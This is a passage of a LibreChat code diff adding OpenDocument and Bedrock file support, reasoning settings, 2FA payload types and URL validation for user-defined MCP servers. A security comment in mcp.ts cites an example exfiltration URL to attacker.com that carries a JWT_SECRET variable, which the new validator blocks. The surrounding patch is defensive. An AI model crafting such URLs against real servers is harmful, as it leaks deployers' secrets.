-  VERSION = 'v0.8.3-rc1',
+  VERSION = 'v0.8.3',
   /** Key for the Custom Config's version (librechat.yaml). */
-  CONFIG_VERSION = '1.3.4',
+  CONFIG_VERSION = '1.3.6',
   /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */
   NO_PARENT = '00000000-0000-0000-0000-000000000000',
   /** Standard value to use whatever the submission prelim. `responseMessageId` is */
@@ -1913,6 +1926,38 @@ export function getEndpointField<
   return config[property];
 }
 
+/**
+ * Resolves the effective endpoint type:
+ * - Non-agents endpoint: config.type || endpoint
+ * - Agents + provider: config[provider].type || provider
+ * - Agents, no provider: EModelEndpoint.agents
+ *
+ * Returns `undefined` when endpoint is null/undefined.
+ */
+export function resolveEndpointType(
+  endpointsConfig: TEndpointsConfig | undefined | null,
+  endpoint: string | null | undefined,
+  agentProvider?: string | null,
+): EModelEndpoint | string | undefined {
+  if (!endpoint) {
+    return undefined;
+  }
+
+  if (!isAgentsEndpoint(endpoint)) {
+    return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;
+  }
+
+  if (agentProvider) {
+    const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');
+    if (providerType) {
+      return providerType;
+    }
+    return agentProvider;
+  }
+
+  return EModelEndpoint.agents;
+}
+
 /** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */
 export function getDefaultParamsEndpoint(
   endpointsConfig: TEndpointsConfig | undefined | null,
diff --git a/packages/data-provider/src/data-service.ts b/packages/data-provider/src/data-service.ts
index be5cccd43b..2c7a402d1f 100644
--- a/packages/data-provider/src/data-service.ts
+++ b/packages/data-provider/src/data-service.ts
@@ -21,8 +21,8 @@ export function revokeAllUserKeys(): Promise<unknown> {
   return request.delete(endpoints.revokeAllUserKeys());
 }
 
-export function deleteUser(): Promise<s.TPreset> {
-  return request.delete(endpoints.deleteUser());
+export function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {
+  return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });
 }
 
 export type FavoriteItem = {
@@ -970,8 +970,8 @@ export function updateFeedback(
 }
 
 // 2FA
-export function enableTwoFactor(): Promise<t.TEnable2FAResponse> {
-  return request.get(endpoints.enableTwoFactor());
+export function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {
+  return request.post(endpoints.enableTwoFactor(), payload);
 }
 
 export function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {
@@ -986,8 +986,10 @@ export function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDis
   return request.post(endpoints.disableTwoFactor(), payload);
 }
 
-export function regenerateBackupCodes(): Promise<t.TRegenerateBackupCodesResponse> {
-  return request.post(endpoints.regenerateBackupCodes());
+export function regenerateBackupCodes(
+  payload?: t.TRegenerateBackupCodesRequest,
+): Promise<t.TRegenerateBackupCodesResponse> {
+  return request.post(endpoints.regenerateBackupCodes(), payload);
 }
 
 export function verifyTwoFactorTemp(
diff --git a/packages/data-provider/src/file-config.spec.ts b/packages/data-provider/src/file-config.spec.ts
index 4b9c866061..018b4dbfcf 100644
--- a/packages/data-provider/src/file-config.spec.ts
+++ b/packages/data-provider/src/file-config.spec.ts
@@ -3,9 +3,122 @@ import {
   fileConfig as baseFileConfig,
   getEndpointFileConfig,
   mergeFileConfig,
+  applicationMimeTypes,
+  defaultOCRMimeTypes,
+  documentParserMimeTypes,
+  supportedMimeTypes,
 } from './file-config';
 import { EModelEndpoint } from './schemas';
 
+describe('applicationMimeTypes', () => {
+  const odfTypes = [
+    'application/vnd.oasis.opendocument.text',
+    'application/vnd.oasis.opendocument.spreadsheet',
+    'application/vnd.oasis.opendocument.presentation',
+    'application/vnd.oasis.opendocument.graphics',
+  ];
+
+  it.each(odfTypes)('matches ODF type: %s', (mimeType) => {
+    expect(applicationMimeTypes.test(mimeType)).toBe(true);
+  });
+
+  const existingTypes = [
+    'application/pdf',
+    'application/json',
+    'application/csv',
+    'application/msword',
+    'application/xml',
+    'application/zip',
+    'application/epub+zip',
+    'application/x-tar',
+    'application/x-sh',
+    'application/typescript',
+    'application/sql',
+    'application/yaml',
+    'application/x-parquet',
+    'application/vnd.apache.parquet',
+    'application/vnd.coffeescript',
+    'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+    'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+    'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+  ];
+
+  it.each(existingTypes)('matches existing type: %s', (mimeType) => {
+    expect(applicationMimeTypes.test(mimeType)).toBe(true);
+  });
+
+  const invalidTypes = [
+    'application/vnd.oasis.opendocument.text-template',
+    'application/vnd.oasis.opendocument.texts',
+    'application/vnd.oasis.opendocument.chart',
+    'application/vnd.oasis.opendocument.formula',
+    'application/vnd.oasis.opendocument.image',
+    'application/vnd.oasis.opendocument.text-master',
+    'text/plain',
+    'image/png',
+  ];
+
+  it.each(invalidTypes)('does not match invalid type: %s', (mimeType) => {
+    expect(applicationMimeTypes.test(mimeType)).toBe(false);
+  });
+});
+
+describe('defaultOCRMimeTypes', () => {
+  const checkOCRType = (mimeType: string): boolean =>
+    defaultOCRMimeTypes.some((regex) => regex.test(mimeType));
+
+  it.each([
+    'application/vnd.oasis.opendocument.text',
+    'application/vnd.oasis.opendocument.spreadsheet',
+    'application/vnd.oasis.opendocument.presentation',
+    'application/vnd.oasis.opendocument.graphics',
+  ])('matches ODF type for OCR: %s', (mimeType) => {
+    expect(checkOCRType(mimeType)).toBe(true);
+  });
+});
+
+describe('supportedMimeTypes', () => {
+  const checkSupported = (mimeType: string): boolean =>
+    supportedMimeTypes.some((regex) => regex.test(mimeType));
+
+  it.each([
+    'application/vnd.oasis.opendocument.text',
+    'application/vnd.oasis.opendocument.spreadsheet',
+    'application/vnd.oasis.opendocument.presentation',
+    'application/vnd.oasis.opendocument.graphics',
+  ])('ODF type flows through supportedMimeTypes: %s', (mimeType) => {
+    expect(checkSupported(mimeType)).toBe(true);
+  });
+});
+
+describe('documentParserMimeTypes', () => {
+  const check = (mimeType: string): boolean =>
+    documentParserMimeTypes.some((regex) => regex.test(mimeType));
+
+  it.each([
+    'application/pdf',
+    'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+    'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+    'application/vnd.ms-excel',
+    'application/msexcel',
+    'application/x-msexcel',
+    'application/x-ms-excel',
+    'application/vnd.oasis.opendocument.spreadsheet',
+  ])('matches natively parseable type: %s', (mimeType) => {
+    expect(check(mimeType)).toBe(true);
+  });
+
+  it.each([
+    'application/vnd.oasis.opendocument.text',
+    'application/vnd.oasis.opendocument.presentation',
+    'application/vnd.oasis.opendocument.graphics',
+    'text/plain',
+    'image/png',
+  ])('does not match OCR-only or unsupported type: %s', (mimeType) => {
+    expect(check(mimeType)).toBe(false);
+  });
+});
+
 describe('getEndpointFileConfig', () => {
   describe('custom endpoint lookup', () => {
     it('should find custom endpoint by direct lookup', () => {
diff --git a/packages/data-provider/src/file-config.ts b/packages/data-provider/src/file-config.ts
index 98254390b9..033c868a80 100644
--- a/packages/data-provider/src/file-config.ts
+++ b/packages/data-provider/src/file-config.ts
@@ -61,6 +61,10 @@ export const fullMimeTypesList = [
   'application/xml',
   'application/zip',
   'application/x-parquet',
+  'application/vnd.oasis.opendocument.text',
+  'application/vnd.oasis.opendocument.spreadsheet',
+  'application/vnd.oasis.opendocument.presentation',
+  'application/vnd.oasis.opendocument.graphics',
   'image/svg',
   'image/svg+xml',
   // Video formats
@@ -139,6 +143,39 @@ export const retrievalMimeTypesList = [
 
 export const imageExtRegex = /\.(jpg|jpeg|png|gif|webp|heic|heif)$/i;
 
+/** @see https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_DocumentBlock.html */
+export type BedrockDocumentFormat =
+  | 'pdf'
+  | 'csv'
+  | 'doc'
+  | 'docx'
+  | 'xls'
+  | 'xlsx'
+  | 'html'
+  | 'txt'
+  | 'md';
+
+/** Maps MIME types to Bedrock Converse API document format values */
+export const bedrockDocumentFormats: Record<string, BedrockDocumentFormat> = {
+  'application/pdf': 'pdf',
+  'text/csv': 'csv',
+  'application/csv': 'csv',
+  'application/msword': 'doc',
+  'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 'docx',
+  'application/vnd.ms-excel': 'xls',
+  'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 'xlsx',
+  'text/html': 'html',
+  'text/plain': 'txt',
+  'text/markdown': 'md',
+};
+
+export const isBedrockDocumentType = (mimeType?: string): boolean =>
+  mimeType != null && mimeType in bedrockDocumentFormats;
+
+/** File extensions accepted by Bedrock document uploads (for input accept attributes) */
+export const bedrockDocumentExtensions =
+  '.pdf,.csv,.doc,.docx,.xls,.xlsx,.html,.htm,.txt,.md,application/pdf,text/csv,application/csv,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,text/html,text/plain,text/markdown';
+
 export const excelMimeTypes =
   /^application\/(vnd\.ms-excel|msexcel|x-msexcel|x-ms-excel|x-excel|x-dos_ms_excel|xls|x-xls|vnd\.openxmlformats-officedocument\.spreadsheetml\.sheet)$/;
 
@@ -146,7 +183,7 @@ export const textMimeTypes =
   /^(text\/(x-c|x-csharp|tab-separated-values|x-c\+\+|x-h|x-java|html|markdown|x-php|x-python|x-script\.python|x-ruby|x-tex|plain|css|vtt|javascript|csv|xml))$/;
 
 export const applicationMimeTypes =
-  /^(application\/(epub\+zip|csv|json|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\.apache\.parquet|vnd\.coffeescript|vnd\.openxmlformats-officedocument\.(wordprocessingml\.document|presentationml\.presentation|spreadsheetml\.sheet)|xml|zip))$/;
+  /^(application\/(epub\+zip|csv|json|msword|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\.apache\.parquet|vnd\.coffeescript|vnd\.openxmlformats-officedocument\.(wordprocessingml\.document|presentationml\.presentation|spreadsheetml\.sheet)|vnd\.oasis\.opendocument\.(text|spreadsheet|presentation|graphics)|xml|zip))$/;
 
 export const imageMimeTypes = /^image\/(jpeg|gif|png|webp|heic|heif)$/;
 
@@ -157,10 +194,20 @@ export const videoMimeTypes = /^video\/(mp4|avi|mov|wmv|flv|webm|mkv|m4v|3gp|ogv
 
 export const defaultOCRMimeTypes = [
   imageMimeTypes,
+  excelMimeTypes,
   /^application\/pdf$/,
-  /^application\/vnd\.openxmlformats-officedocument\.(wordprocessingml\.document|presentationml\.presentation|spreadsheetml\.sheet)$/,
-  /^application\/vnd\.ms-(word|powerpoint|excel)$/,
+  /^application\/vnd\.openxmlformats-officedocument\.(wordprocessingml\.document|presentationml\.presentation)$/,
+  /^application\/vnd\.ms-(word|powerpoint)$/,
   /^application\/epub\+zip$/,
+  /^application\/vnd\.oasis\.opendocument\.(text|spreadsheet|presentation|graphics)$/,
+];
+
+/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods) */
+export const documentParserMimeTypes = [
+  excelMimeTypes,
+  /^application\/pdf$/,
+  /^application\/vnd\.openxmlformats-officedocument\.wordprocessingml\.document$/,
+  /^application\/vnd\.oasis\.opendocument\.spreadsheet$/,
 ];
 
 export const defaultTextMimeTypes = [/^[\w.-]+\/[\w.-]+$/];
@@ -298,6 +345,10 @@ export const codeTypeMapping: { [key: string]: string } = {
   tcl: 'text/plain', // .tcl - Tcl source
   awk: 'text/plain', // .awk - AWK script
   sed: 'text/plain', // .sed - Sed script
+  odt: 'application/vnd.oasis.opendocument.text', // .odt - OpenDocument Text
+  ods: 'application/vnd.oasis.opendocument.spreadsheet', // .ods - OpenDocument Spreadsheet
+  odp: 'application/vnd.oasis.opendocument.presentation', // .odp - OpenDocument Presentation
+  odg: 'application/vnd.oasis.opendocument.graphics', // .odg - OpenDocument Graphics
 };
 
 /** Maps image extensions to MIME types for formats browsers may not recognize */
diff --git a/packages/data-provider/src/headers-helpers.ts b/packages/data-provider/src/headers-helpers.ts
index 195f7c7912..fa24b36997 100644
--- a/packages/data-provider/src/headers-helpers.ts
+++ b/packages/data-provider/src/headers-helpers.ts
@@ -4,6 +4,10 @@ export function setAcceptLanguageHeader(value: string): void {
   axios.defaults.headers.common['Accept-Language'] = value;
 }
 
-export function setTokenHeader(token: string) {
-  axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;
+export function setTokenHeader(token: string | undefined) {
+  if (token === undefined) {
+    delete axios.defaults.headers.common['Authorization'];
+  } else {
+    axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;
+  }
 }
diff --git a/packages/data-provider/src/index.ts b/packages/data-provider/src/index.ts
index c57ca82845..2867bd1ec5 100644
--- a/packages/data-provider/src/index.ts
+++ b/packages/data-provider/src/index.ts
@@ -34,7 +34,7 @@ export * from './accessPermissions';
 export * from './keys';
 /* api call helpers */
 export * from './headers-helpers';
-export { loginPage, registerPage, apiBaseUrl } from './api-endpoints';
+export { loginPage, registerPage, apiBaseUrl, buildLoginRedirectUrl } from './api-endpoints';
 export { default as request } from './request';
 export { dataService };
 import * as dataService from './data-service';
diff --git a/packages/data-provider/src/mcp.ts b/packages/data-provider/src/mcp.ts
index 50a9746357..3ad296c4ec 100644
--- a/packages/data-provider/src/mcp.ts
+++ b/packages/data-provider/src/mcp.ts
@@ -19,6 +19,8 @@ const BaseOptionsSchema = z.object({
   startup: z.boolean().optional(),
   iconPath: z.string().optional(),
   timeout: z.number().optional(),
+  /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */
+  sseReadTimeout: z.number().positive().optional(),
   initTimeout: z.number().optional(),
   /** Controls visibility in chat dropdown menu (MCPSelect) */
   chatMenu: z.boolean().optional(),
@@ -212,6 +214,7 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
   schema.omit({
     startup: true,
     timeout: true,
+    sseReadTimeout: true,
     initTimeout: true,
     chatMenu: true,
     serverInstructions: true,
@@ -220,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
     oauth_headers: true,
   });
 
+const envVarPattern = /\$\{[^}]+\}/;
+const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
+const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
+
+/**
+ * Builds a URL schema for user input that rejects ${VAR} env variable patterns
+ * and validates protocol constraints without resolving environment variables.
+ */
+const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
+  z
+    .string()
+    .refine((val) => !envVarPattern.test(val), {
+      message: 'Environment variable references are not allowed in URLs',
+    })
+    .pipe(z.string().url())
+    .refine(protocolCheck, { message });
+
 /**
  * MCP Server configuration that comes from UI/API input only.
  * Omits server-managed fields like startup, timeout, customUserVars, etc.
@@ -229,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
  * Stdio allows arbitrary command execution and should only be configured
  * by administrators via the YAML config file (librechat.yaml).
  * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
+ *
+ * SECURITY: URL fields use userUrlSchema instead of the admin schemas'
+ * extractEnvVariable transform to prevent env variable exfiltration
+ * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
+ * Protocol checks use positive allowlists (http(s) / ws(s)) to block
+ * file://, ftp://, javascript:, and other non-network schemes.
  */
 export const MCPServerUserInputSchema = z.union([
-  omitServerManagedFields(WebSocketOptionsSchema),
-  omitServerManagedFields(SSEOptionsSchema),
-  omitServerManagedFields(StreamableHTTPOptionsSchema),
+  omitServerManagedFields(WebSocketOptionsSchema).extend({
+    url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
+  }),
+  omitServerManagedFields(SSEOptionsSchema).extend({
+    url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
+  }),
+  omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
+    url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
+  }),
 ]);
 
 export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
diff --git a/packages/data-provider/src/parameterSettings.ts b/packages/data-provider/src/parameterSettings.ts
index 0796efe773..d0cfdf210f 100644
--- a/packages/data-provider/src/parameterSettings.ts
+++ b/packages/data-provider/src/parameterSettings.ts
@@ -1,6 +1,7 @@
 import {
   Verbosity,
   ImageDetail,
+  ThinkingLevel,
   EModelEndpoint,
   openAISettings,
   googleSettings,
@@ -530,6 +531,30 @@ const bedrock: Record<string, SettingDefinition> = {
     showDefault: false,
     columnSpan: 2,
   },
+  reasoning_effort: {
+    key: 'reasoning_effort',
+    label: 'com_endpoint_reasoning_effort',
+    labelCode: true,
+    description: 'com_endpoint_bedrock_reasoning_effort',
+    descriptionCode: true,
+    type: 'enum',
+    default: ReasoningEffort.unset,
+    component: 'slider',
+    options: [
+      ReasoningEffort.unset,
+      ReasoningEffort.low,
+      ReasoningEffort.medium,
+      ReasoningEffort.high,
+    ],
+    enumMappings: {
+      [ReasoningEffort.unset]: 'com_ui_off',
+      [ReasoningEffort.low]: 'com_ui_low',
+      [ReasoningEffort.medium]: 'com_ui_medium',
+      [ReasoningEffort.high]: 'com_ui_high',
+    },
+    optionType: 'model',
+    columnSpan: 4,
+  },
 };
 
 const mistral: Record<string, SettingDefinition> = {
@@ -648,6 +673,32 @@ const google: Record<string, SettingDefinition> = {
     optionType: 'conversation',
     columnSpan: 2,
   },
+  thinkingLevel: {
+    key: 'thinkingLevel',
+    label: 'com_endpoint_thinking_level',
+    labelCode: true,
+    description: 'com_endpoint_google_thinking_level',
+    descriptionCode: true,
+    type: 'enum',
+    default: ThinkingLevel.unset,
+    component: 'slider',
+    options: [
+      ThinkingLevel.unset,
+      ThinkingLevel.minimal,
+      ThinkingLevel.low,
+      ThinkingLevel.medium,
+      ThinkingLevel.high,
+    ],
+    enumMappings: {
+      [ThinkingLevel.unset]: 'com_ui_auto',
+      [ThinkingLevel.minimal]: 'com_ui_minimal',
+      [ThinkingLevel.low]: 'com_ui_low',
+      [ThinkingLevel.medium]: 'com_ui_medium',
+      [ThinkingLevel.high]: 'com_ui_high',
+    },
+    optionType: 'conversation',
+    columnSpan: 4,
+  },
   web_search: {
     key: 'web_search',
     label: 'com_endpoint_use_search_grounding',
@@ -674,6 +725,7 @@ const googleConfig: SettingsConfiguration = [
   librechat.resendFiles,
   google.thinking,
   google.thinkingBudget,
+  google.thinkingLevel,
   google.web_search,
   librechat.fileTokenLimit,
 ];
@@ -693,6 +745,7 @@ const googleCol2: SettingsConfiguration = [
   librechat.resendFiles,
   google.thinking,
   google.thinkingBudget,
+  google.thinkingLevel,
   google.web_search,
   librechat.fileTokenLimit,
 ];
@@ -905,6 +958,34 @@ const bedrockGeneralCol2: SettingsConfiguration = [
   librechat.fileTokenLimit,
 ];
 
+const bedrockZAI: SettingsConfiguration = [
+  librechat.modelLabel,
+  librechat.promptPrefix,
+  librechat.maxContextTokens,
+  meta.temperature,
+  meta.topP,
+  librechat.resendFiles,
+  bedrock.region,
+  bedrock.reasoning_effort,
+  librechat.fileTokenLimit,
+];
+
+const bedrockZAICol1: SettingsConfiguration = [
+  baseDefinitions.model as SettingDefinition,
+  librechat.modelLabel,
+  librechat.promptPrefix,
+];
+
+const bedrockZAICol2: SettingsConfiguration = [
+  librechat.maxContextTokens,
+  meta.temperature,
+  meta.topP,
+  librechat.resendFiles,
+  bedrock.region,
+  bedrock.reasoning_effort,
+  librechat.fileTokenLimit,
+];
+
 const bedrockMoonshot: SettingsConfiguration = [
   librechat.modelLabel,
   bedrock.system,
@@ -917,6 +998,7 @@ const bedrockMoonshot: SettingsConfiguration = [
   baseDefinitions.stop,
   librechat.resendFiles,
   bedrock.region,
+  bedrock.reasoning_effort,
   librechat.fileTokenLimit,
 ];
 
@@ -936,6 +1018,7 @@ const bedrockMoonshotCol2: SettingsConfiguration = [
   bedrock.topP,
   librechat.resendFiles,
   bedrock.region,
+  bedrock.reasoning_effort,
   librechat.fileTokenLimit,
 ];
 
@@ -954,7 +1037,7 @@ export const paramSettings: Record<string, SettingsConfiguration | undefined> =
   [`${EModelEndpoint.bedrock}-${BedrockProviders.Moonshot}`]: bedrockMoonshot,
   [`${EModelEndpoint.bedrock}-${BedrockProviders.MoonshotAI}`]: bedrockMoonshot,
   [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneral,
-  [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: bedrockGeneral,
+  [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: bedrockZAI,
   [EModelEndpoint.google]: googleConfig,
 };
 
@@ -1008,7 +1091,10 @@ export const presetSettings: Record<
     col2: bedrockMoonshotCol2,
   },
   [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneralColumns,
-  [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: bedrockGeneralColumns,
+  [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: {
+    col1: bedrockZAICol1,
+    col2: bedrockZAICol2,
+  },
   [EModelEndpoint.google]: {
     col1: googleCol1,
     col2: googleCol2,
diff --git a/packages/data-provider/src/parsers.ts b/packages/data-provider/src/parsers.ts
index ab6ff927f7..3ec4221b62 100644
--- a/packages/data-provider/src/parsers.ts
+++ b/packages/data-provider/src/parsers.ts
@@ -408,16 +408,16 @@ export function replaceSpecialVars({ text, user }: { text: string; user?: t.TUse
     return result;
   }
 
-  // e.g., "2024-04-29 (1)" (1=Monday)
-  const currentDate = dayjs().format('YYYY-MM-DD');
-  const dayNumber = dayjs().day();
-  const combinedDate = `${currentDate} (${dayNumber})`;
-  result = result.replace(/{{current_date}}/gi, combinedDate);
+  const now = dayjs();
+  const weekdayName = now.format('dddd');
 
-  const currentDatetime = dayjs().format('YYYY-MM-DD HH:mm:ss');
-  result = result.replace(/{{current_datetime}}/gi, `${currentDatetime} (${dayNumber})`);
+  const currentDate = now.format('YYYY-MM-DD');
+  result = result.replace(/{{current_date}}/gi, `${currentDate} (${weekdayName})`);
 
-  const isoDatetime = dayjs().toISOString();
+  const currentDatetime = now.format('YYYY-MM-DD HH:mm:ss Z');
+  result = result.replace(/{{current_datetime}}/gi, `${currentDatetime} (${weekdayName})`);
+
+  const isoDatetime = now.toISOString();
   result = result.replace(/{{iso_datetime}}/gi, isoDatetime);
 
   if (user && user.name) {
diff --git a/packages/data-provider/src/request.ts b/packages/data-provider/src/request.ts
index fd5d42d76a..5021b150e3 100644
--- a/packages/data-provider/src/request.ts
+++ b/packages/data-provider/src/request.ts
@@ -1,7 +1,7 @@
 /* eslint-disable @typescript-eslint/no-explicit-any */
 import axios, { AxiosError, AxiosRequestConfig } from 'axios';
-import * as endpoints from './api-endpoints';
 import { setTokenHeader } from './headers-helpers';
+import * as endpoints from './api-endpoints';
 import type * as t from './types';
 
 async function _get<T>(url: string, options?: AxiosRequestConfig): Promise<T> {
@@ -99,6 +99,15 @@ if (typeof window !== 'undefined') {
         return Promise.reject(error);
       }
 
+      /** Skip refresh when the Authorization header has been cleared (e.g. during logout),
+       *  but allow shared link requests to proceed so auth recovery/redirect can happen */
+      if (
+        !axios.defaults.headers.common['Authorization'] &&
+        !window.location.pathname.startsWith('/share/')
+      ) {
+        return Promise.reject(error);
+      }
+
       if (error.response.status === 401 && !originalRequest._retry) {
         console.warn('401 error, refreshing token');
         originalRequest._retry = true;
@@ -130,12 +139,9 @@ if (typeof window !== 'undefined') {
             dispatchTokenUpdatedEvent(token);
             processQueue(null, token);
             return await axios(originalRequest);
-          } else if (window.location.href.includes('share/')) {
-            console.log(
-              `Refresh token failed from shared link, attempting request to ${originalRequest.url}`,
-            );
           } else {
-            window.location.href = endpoints.loginPage();
+            processQueue(error, null);
+            window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();
           }
         } catch (err) {
           processQueue(err as AxiosError, null);
diff --git a/packages/data-provider/src/schemas.ts b/packages/data-provider/src/schemas.ts
index 039bfa572e..63a7ed574e 100644
--- a/packages/data-provider/src/schemas.ts
+++ b/packages/data-provider/src/schemas.ts
@@ -49,6 +49,7 @@ export enum Providers {
 export const documentSupportedProviders = new Set<string>([
   EModelEndpoint.anthropic,
   EModelEndpoint.openAI,
+  EModelEndpoint.bedrock,
   EModelEndpoint.custom,
   // handled in AttachFileMenu and DragDropModal since azureOpenAI only supports documents with Use Responses API set to true
   // EModelEndpoint.azureOpenAI,
@@ -184,6 +185,12 @@ export enum AnthropicEffort {
   max = 'max',
 }
 
+export enum BedrockReasoningConfig {
+  low = 'low',
+  medium = 'medium',
+  high = 'high',
+}
+
 export enum ReasoningSummary {
   none = '',
   auto = 'auto',
@@ -198,6 +205,14 @@ export enum Verbosity {
   high = 'high',
 }
 
+export enum ThinkingLevel {
+  unset = '',
+  minimal = 'minimal',
+  low = 'low',
+  medium = 'medium',
+  high = 'high',
+}
+
 export const imageDetailNumeric = {
   [ImageDetail.low]: 0,
   [ImageDetail.auto]: 1,
@@ -215,6 +230,7 @@ export const eReasoningEffortSchema = z.nativeEnum(ReasoningEffort);
 export const eAnthropicEffortSchema = z.nativeEnum(AnthropicEffort);
 export const eReasoningSummarySchema = z.nativeEnum(ReasoningSummary);
 export const eVerbositySchema = z.nativeEnum(Verbosity);
+export const eThinkingLevelSchema = z.nativeEnum(ThinkingLevel);
 
 export const defaultAssistantFormValues = {
   assistant: '',
@@ -359,6 +375,9 @@ export const googleSettings = {
      */
     default: -1 as const,
   },
+  thinkingLevel: {
+    default: ThinkingLevel.unset as const,
+  },
 };
 
 const ANTHROPIC_MAX_OUTPUT = 128000 as const;
@@ -543,6 +562,7 @@ export const tPluginAuthConfigSchema = z.object({
   authField: z.string(),
   label: z.string(),
   description: z.string(),
+  optional: z.boolean().optional(),
 });
 
 export type TPluginAuthConfig = z.infer<typeof tPluginAuthConfigSchema>;
@@ -714,6 +734,7 @@ export const tConversationSchema = z.object({
   system: z.string().optional(),
   thinking: z.boolean().optional(),
   thinkingBudget: coerceNumber.optional(),
+  thinkingLevel: eThinkingLevelSchema.optional(),
   stream: z.boolean().optional(),
   /* artifacts */
   artifacts: z.string().optional(),
@@ -860,6 +881,7 @@ export const tQueryParamsSchema = tConversationSchema
     promptCache: true,
     thinking: true,
     thinkingBudget: true,
+    thinkingLevel: true,
     effort: true,
     /** @endpoints bedrock */
     region: true,
@@ -935,6 +957,7 @@ export const googleBaseSchema = tConversationSchema.pick({
   topK: true,
   thinking: true,
   thinkingBudget: true,
+  thinkingLevel: true,
   web_search: true,
   fileTokenLimit: true,
   iconURL: true,
@@ -966,6 +989,7 @@ export const googleGenConfigSchema = z
       .object({
         includeThoughts: z.boolean().optional(),
         thinkingBudget: coerceNumber.optional(),
+        thinkingLevel: z.string().optional(),
       })
       .optional(),
     web_search: z.boolean().optional(),
diff --git a/packages/data-provider/src/types.ts b/packages/data-provider/src/types.ts
index a7782a3bc6..5895fba321 100644
--- a/packages/data-provider/src/types.ts
+++ b/packages/data-provider/src/types.ts
@@ -52,6 +52,7 @@ export type TEndpointOption = Pick<
   | 'promptCache'
   | 'thinking'
   | 'thinkingBudget'
+  | 'thinkingLevel'
   | 'effort'
   // Assistant/Agent fields
   | 'assistant_id'
@@ -424,28 +425,29 @@ export type TLoginResponse = {
   tempToken?: string;
 };
 
+/** Shared payload for any operation that requires OTP or backup-code verification. */
+export type TOTPVerificationPayload = {
+  token?: string;
+  backupCode?: string;
+};
+
+export type TEnable2FARequest = TOTPVerificationPayload;
+
 export type TEnable2FAResponse = {
   otpauthUrl: string;
   backupCodes: string[];
   message?: string;
 };
 
-export type TVerify2FARequest = {
-  token?: string;
-  backupCode?: string;
-};
+export type TVerify2FARequest = TOTPVerificationPayload;
 
 export type TVerify2FAResponse = {
   message: string;
 };
 
-/**
- * For verifying 2FA during login with a temporary token.
- */
-export type TVerify2FATempRequest = {
+/** For verifying 2FA during login with a temporary token. */
+export type TVerify2FATempRequest = TOTPVerificationPayload & {
   tempToken: string;
-  token?: string;
-  backupCode?: string;
 };
 
 export type TVerify2FATempResponse = {
@@ -454,30 +456,22 @@ export type TVerify2FATempResponse = {
   message?: string;
 };
 
-/**
- * Request for disabling 2FA.
- */
-export type TDisable2FARequest = {
-  token?: string;
-  backupCode?: string;
-};
+export type TDisable2FARequest = TOTPVerificationPayload;
 
-/**
- * Response from disabling 2FA.
- */
 export type TDisable2FAResponse = {
   message: string;
 };
 
-/**
- * Response from regenerating backup codes.
- */
+export type TRegenerateBackupCodesRequest = TOTPVerificationPayload;
+
 export type TRegenerateBackupCodesResponse = {
-  message: string;
+  message?: string;
   backupCodes: string[];
-  backupCodesHash: string[];
+  backupCodesHash: TBackupCode[];
 };
 
+export type TDeleteUserRequest = TOTPVerificationPayload;
+
 export type TRequestPasswordReset = {
   email: string;
 };
diff --git a/packages/data-provider/src/types/files.ts b/packages/data-provider/src/types/files.ts
index ec42520bc0..1eb8c200d6 100644
--- a/packages/data-provider/src/types/files.ts
+++ b/packages/data-provider/src/types/files.ts
@@ -13,6 +13,7 @@ export enum FileSources {
   azure_mistral_ocr = 'azure_mistral_ocr',
   vertexai_mistral_ocr = 'vertexai_mistral_ocr',
   text = 'text',
+  document_parser = 'document_parser',
 }
 
 export const checkOpenAIStorage = (source: string) =>
diff --git a/packages/data-schemas/jest.config.mjs b/packages/data-schemas/jest.config.mjs
index b1fae43705..19d392f368 100644
--- a/packages/data-schemas/jest.config.mjs
+++ b/packages/data-schemas/jest.config.mjs
@@ -15,6 +15,7 @@ export default {
   //     lines: 57,
   //   },
   // },
+  maxWorkers: '50%',
